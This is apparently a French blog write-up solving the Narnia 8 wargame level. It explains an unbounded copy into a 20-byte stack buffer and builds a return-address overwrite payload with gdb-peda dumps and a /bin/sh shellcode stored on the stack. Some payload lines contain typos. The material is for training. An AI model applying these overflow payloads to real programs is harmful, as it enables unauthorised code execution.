🦁Narnia 8

🦁Narnia 8

1 September 2023 Narnia challenges 0

Nous nous retrouvons pour ce dernier challenge de la série Narnia.

J’ai beaucoup apprécié faire ces challenges, ils m’en ont appris beaucoup sur les Buffer Overflow, le fonctionnement d’une pile, l’assembleur etc.

J’espère que c’est le cas pour vous aussi !

Découverte

				
					#include 
#include 
#include 
// gcc's variable reordering fucked things up
// to keep the level in its old style i am
// making "i" global until i find a fix
// -morla
int i;

void func(char *b){
        char *blah=b;
        char bok[20];
        //int i=0;

        memset(bok, '\0', sizeof(bok));
        for(i=0; blah[i] != '\0'; i++)
                bok[i]=blah[i];

        printf("%s\n",bok);
}

int main(int argc, char **argv){

        if(argc > 1)
                func(argv[1]);
        else
        printf("%s argument\n", argv[0]);

        return 0;
}
				
			
Ce script est composé, dans un premier temps, d’une fonction main, qui ne prend qu’un seul argument.

Cet argument est passé à la fonction func et stocké dans la variable blah.
Il est important de noter que la variable blah n’a pas de limite de taille, contrairement à bok, qui ne peut recevoir que 20 caractères.
bok est ensuite entièrement remis à 0 :
				
					 memset(bok, '\0', sizeof(bok));
				
			

Ensuite, blah est copié complètement dans le tableau bok :

				
					for(i=0; blah[i] != '\0'; i++)
        bok[i]=blah[i];
				
			

Vous avez maintenant l’habitude, cette pratique est très dangereuse puisqu’elle permet d’écrire directement sur la pile et de provoquer un overflow.

Exemple dans peda :

				
					gdb-peda$ set args $(python2 -c 'print("A"*21)')

gdb-peda$ x/16x $esp

0xffffd4d4:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd4e4:     0x41414141      0xffffd741      0xffffd4f8      0x08049211
0xffffd4f4:     0xffffd719      0xf7ffd020      0xf7da2519      0x00000002
0xffffd504:     0xffffd5b4      0xffffd5c0      0xffffd520      0xf7fab000

				
			
On voit clairement une suite de “A” (0x41414141) suivi d’une adresse modifiée : 0xffffd741, ce qui prouve bien que le buffer overflow est possible.

Exploitation

Commençons par résoudre ce challenge en utilisant peda.
Utilisons un argument afin d’overflow de 1 octet, pour l’instant :

				
					set args $(python2 -c 'print("A"*21)')
				
			
Placer un breakpoint au niveau de l’instruction test al, al.

Il s’agit de la comparaison entre bok et \0 au sein de la boucle for du programme C (for(i=0; blah[i] != '\0'; i++)).

C’est à cet endroit que l’on saura si le buffer overflow a fonctionné :
				
					b *func+92
				
			

Passez ensuite les instructions avec la commande ‘c’. On peut voir le buffer qui se remplit petit à petit.

Voici à quoi ressemble peda lorsque nous atteignons les 20 “A” :

				
					[----------------------------------registers-----------------------------------]
EAX: 0x41 ('A')
EBX: 0xf7fab000 -> 0x229dac
ECX: 0x14
EDX: 0x14
ESI: 0xffffd5b4 --> 0xffffd708 ("/narnia/narnia8")
EDI: 0xf7ffcb80 --> 0x0
EBP: 0xffffd4ec --> 0xffffd4f8 --> 0xf7ffd020 --> 0xf7ffda40 --> 0x0
ESP: 0xffffd4d4 ('A' , "\030\327\377\377\370\324\377\377\021\222\004\b\030\327\377\377 \320\377\367\031%\332\367\002")
EIP: 0x80491e2 (:      test   al,al)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80491da : mov    eax,DWORD PTR [ebp-0x4]
   0x80491dd : add    eax,edx
   0x80491df : movzx  eax,BYTE PTR [eax]
=> 0x80491e2 : test   al,al
   0x80491e4 : jne    0x80491ae 
   0x80491e6 : lea    eax,[ebp-0x18]
   0x80491e9 : push   eax
   0x80491ea :        push   0x804a008
[------------------------------------stack-------------------------------------]
0000| 0xffffd4d4 ('A' , "\030\327\377\377\370\324\377\377\021\222\004\b\030\327\377\377 \320\377\367\031%\332\367\002")
0004| 0xffffd4d8 ('A' , "\030\327\377\377\370\324\377\377\021\222\004\b\030\327\377\377 \320\377\367\031%\332\367\002")
0008| 0xffffd4dc ('A' , "\030\327\377\377\370\324\377\377\021\222\004\b\030\327\377\377 \320\377\367\031%\332\367\002")
0012| 0xffffd4e0 ("AAAAAAAA\030\327\377\377\370\324\377\377\021\222\004\b\030\327\377\377 \320\377\367\031%\332\367\002")
0016| 0xffffd4e4 ("AAAA\030\327\377\377\370\324\377\377\021\222\004\b\030\327\377\377 \320\377\367\031%\332\367\002")
0020| 0xffffd4e8 --> 0xffffd718 ('A' )
0024| 0xffffd4ec --> 0xffffd4f8 --> 0xf7ffd020 -->; 0xf7ffda40 --> 0x0
0028| 0xffffd4f0 --&gt; 0x8049211 (<main>:      add    esp,0x4)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x080491e2 in func ()
gdb-peda$

				
			
On voit qu’au niveau des adresses 0xffffd4d4 jusqu’à 0xffffd4e4, la pile a été remplie de A.

Ensuite, à l’adresse 0xffffd4e8, nous avons notre pointeur vers notre argument.

Que se passe-t-il lorsque nous ajoutons un A supplémentaire ?
				
					[----------------------------------registers-----------------------------------]
EAX: 0x69 ('i')
EBX: 0xf7fab000 --&gt; 0x229dac
ECX: 0x14
EDX: 0x15
ESI: 0xffffd5b4 --&gt; 0xffffd708 ("/narnia/narnia8")
EDI: 0xf7ffcb80 --&gt; 0x0
EBP: 0xffffd4ec --&gt; 0xffffd4f8 --&gt; 0xf7ffd020 --&gt; 0xf7ffda40 --&gt; 0x0
ESP: 0xffffd4d4 ('A' , "\327\377\377\370\324\377\377\021\222\004\b\030\327\377\377 \320\377\367\031%\332\367\002")
EIP: 0x80491e2 (:      test   al,al)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80491da : mov    eax,DWORD PTR [ebp-0x4]
   0x80491dd : add    eax,edx
   0x80491df : movzx  eax,BYTE PTR [eax]
=&gt; 0x80491e2 : test   al,al
   0x80491e4 : jne    0x80491ae 
   0x80491e6 : lea    eax,[ebp-0x18]
   0x80491e9 : push   eax
   0x80491ea :        push   0x804a008
[------------------------------------stack-------------------------------------]
0000| 0xffffd4d4 ('A' , "\327\377\377\370\324\377\377\021\222\004\b\030\327\377\377 \320\377\367\031%\332\367\002")
0004| 0xffffd4d8 ('A' , "\327\377\377\370\324\377\377\021\222\004\b\030\327\377\377 \320\377\367\031%\332\367\002")
0008| 0xffffd4dc ('A' , "\327\377\377\370\324\377\377\021\222\004\b\030\327\377\377 \320\377\367\031%\332\367\002")
0012| 0xffffd4e0 ("AAAAAAAAA\327\377\377\370\324\377\377\021\222\004\b\030\327\377\377 \320\377\367\031%\332\367\002")
0016| 0xffffd4e4 ("AAAAA\327\377\377\370\324\377\377\021\222\004\b\030\327\377\377 \320\377\367\031%\332\367\002")
0020| 0xffffd4e8 --&gt; 0xffffd741 ("=/narnia")
0024| 0xffffd4ec --&gt; 0xffffd4f8 --&gt; 0xf7ffd020 --&gt; 0xf7ffda40 --&gt; 0x0
0028| 0xffffd4f0 --&gt; 0x8049211 (<main>:      add    esp,0x4)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x080491e2 in func ()
gdb-peda$

				
			

Sur la pile, on voit toujours notre chaine de “A”.

A l’adresse 0xffffd4e8, alors que nous devrions toujours avoir notre argument, le pointeur vers celui-ci a été écrasé, pour pointer vers une autre chaine (“=/narnia”).

Sous cette adresse, en 0xfffd4ec, il y a un autre pointeur, qui est peut-être utilisé pour le for, il ne vaut mieux pas la modifier.

Et enfin, nous avons l’adresse de retour vers la fonction main (0xffffd4f0). Cette adresse va s’avérer très utile puisqu’elle va nous permettre d’exécuter un shellcode 😉.

Construction de l'injection

L’objectif est donc de réussir à écraser l’adresse de retour de main, pour mettre celle de notre shellcode à la place, puis passer notre shellcode, tout ceci, sans provoquer de crash.

Notre injection va ainsi être constituée de :

  • 20 “A” qui rempliront le buffer ; 
  • L’adresse de la chaine de caractères de “A”, pour que l’injection puisse être lue entièrement ;
  • L’adresse 0xfffd4d8, remise telle quelle afin de ne pas provoquer de bug ;
  • L’adresse de retour de notre shellcode ;
  • Notre shellcode, déjà utilisé dans de précédents challenges.

Il est important de lancer le script avec une injection déjà à la bonne taille : en effet, les adresses vont varier en conséquence :

Votre injection va ainsi ressembler à ceci :

				
					$(python2 -c 'print("A"*20 + "\xff\xff\xff\xff" + "\xff\xff\xff\xff" + "\xff\xff\xff\ff" + "")')
				
			

Remplaçons maintenant les adresses par de vraies adresses :

Relancer le programme avec l’injection à la bonne longueur, passer les instructions jusqu’à ce que le programme ait lu 20 “A” et visualiser la stack à l’aide de la commande :

				
					x/16xw $esp

				
			
				
					[----------------------------------registers-----------------------------------]
EAX: 0xd8
EBX: 0xf7fab000 --&gt; 0x229dac
ECX: 0x14
EDX: 0x14
ESI: 0xffffd574 --&gt; 0xffffd6c8 ("/narnia/narnia8")
EDI: 0xf7ffcb80 --&gt; 0x0
EBP: 0xffffd4ac --&gt; 0xffffd4b8 --&gt; 0xf7ffd020 --&gt; 0xf7ffda40 --&gt; 0x0
ESP: 0xffffd494 ('A' , "\330\326\377\377\270\324\377\377\021\222\004\b\330\326\377\377 \320\377\367\031%\332\367\002")
EIP: 0x80491e2 (:      test   al,al)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80491da : mov    eax,DWORD PTR [ebp-0x4]
   0x80491dd : add    eax,edx
   0x80491df : movzx  eax,BYTE PTR [eax]
=&gt; 0x80491e2 : test   al,al
   0x80491e4 : jne    0x80491ae 
   0x80491e6 : lea    eax,[ebp-0x18]
   0x80491e9 : push   eax
   0x80491ea :        push   0x804a008
[------------------------------------stack-------------------------------------]
0000| 0xffffd494 ('A' , "\330\326\377\377\270\324\377\377\021\222\004\b\330\326\377\377 \320\377\367\031%\332\367\002")
0004| 0xffffd498 ('A' , "\330\326\377\377\270\324\377\377\021\222\004\b\330\326\377\377 \320\377\367\031%\332\367\002")
0008| 0xffffd49c ('A' , "\330\326\377\377\270\324\377\377\021\222\004\b\330\326\377\377 \320\377\367\031%\332\367\002")
0012| 0xffffd4a0 ("AAAAAAAA\330\326\377\377\270\324\377\377\021\222\004\b\330\326\377\377 \320\377\367\031%\332\367\002")
0016| 0xffffd4a4 ("AAAA\330\326\377\377\270\324\377\377\021\222\004\b\330\326\377\377 \320\377\367\031%\332\367\002")
0020| 0xffffd4a8 --&gt; 0xffffd6d8 ('A' , "\330\326\377\377\270\324\377\377\264\324\377\377\061\300\061\333\061\311\061\377\260\311̀f\211\303f\211\301\061\300\260F̀1\300Ph//shh/bin\211\343\211\301\211°\v̀1\300\260\001̀")
0024| 0xffffd4ac --&gt; 0xffffd4b8 --&gt; 0xf7ffd020 --&gt; 0xf7ffda40 --&gt; 0x0
0028| 0xffffd4b0 --&gt; 0x8049211 (<main>:      add    esp,0x4)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x080491e2 in func ()
gdb-peda$ x/16xw $esp
0xffffd494:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd4a4:     0x41414141      0xffffd6d8      0xffffd4b8      0x08049211
0xffffd4b4:     0xffffd6d8      0xf7ffd020      0xf7da2519      0x00000002
0xffffd4c4:     0xffffd574      0xffffd580      0xffffd4e0      0xf7fab000
gdb-peda$

				
			

Sur la pile, on voit bien 20 “A” (0x41) puis une adresse (0xfffd6d8 dans ce cas). Il s’agit de l’adresse de la chaine de “A”.

L’adresse suivante (0xffffd4b8) est une adresse que l’on peut retranscrire telle quelle.
Voici ce que donne la nouvelle injection :

				
					$(python2 -c print("\xd8\xd6\xff\xff" + "\b8\d4\xff\xff" + "\xff\xff\xff\xff" + "")')
				
			
On peut maintenant déduire l’adresse du shellcode.

On sait que le shellcode est empilé directement à la suite de 0xffffd4b8.

Pour cela, il suffit de retirer 4 à l’adresse précédente, pour obtenir l’adresse suivante :
0xffffd4b8 – 4 = 0xffffd4d4.

Voici donc à quoi va ressembler l’injection finale pour ce cas-là :
				
					$(python2 -c 'print("A"*20 + "\xd8\xd6\xff\xff" + "\xb8\xd4\xff\xff" + "\xb4\xd4\xff\xff" + "shellcode")')
				
			
Je précise toujours “pour ce cas-là” car évidemment ces adresses peuvent varier, en fonction de plusieurs paramètres, notamment la longueur de votre shellcode.
A vous de trouver les valeurs pour votre cas !
Une fois toutes les valeurs remplacées, en exécutant le script en entier, vous devriez voir s’exécuter un shell au travers de peda.
Ce shell n’est évidemment pas élevé en privilèges, mais cela permet de vérifier que votre injection est correcte.

Injecter sans peda

Récupérez votre injection et exécutez le programme avec. 

Que se-passe-t-il ? Normalement, cela ne fonctionne pas 🙃.

Vous n’avez rien fait de mal, seulement, les adresses en dehors de peda ne sont pas les mêmes.

Il va falloir les remplacer.

Visualisez la pile à l’aide de la commande : 

				
					./narnia8  | xxd
				
			

La commande xxd permet de créer un hexdump du fichier, souvent dans le but de le reverse. Dans ce cas-là, cela nous permet de visualiser une partie de la pile :

				
					00000000: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000010: 4141 4141 d82f ffff d8d4 ffff 1192 0408  AAAA./..........
00000020: f6d6 ffff 20d0 fff7 1925 daf7 020a       .... ....%....

				
			

C’est désormais à vous de jouer pour trouver les bonnes valeurs !

Conclusion

Voilà pour le dernier article de la série Narnia !

J’espère que cela vous a plu et que vous avez pris autant de plaisir que moi à réaliser ces challenges.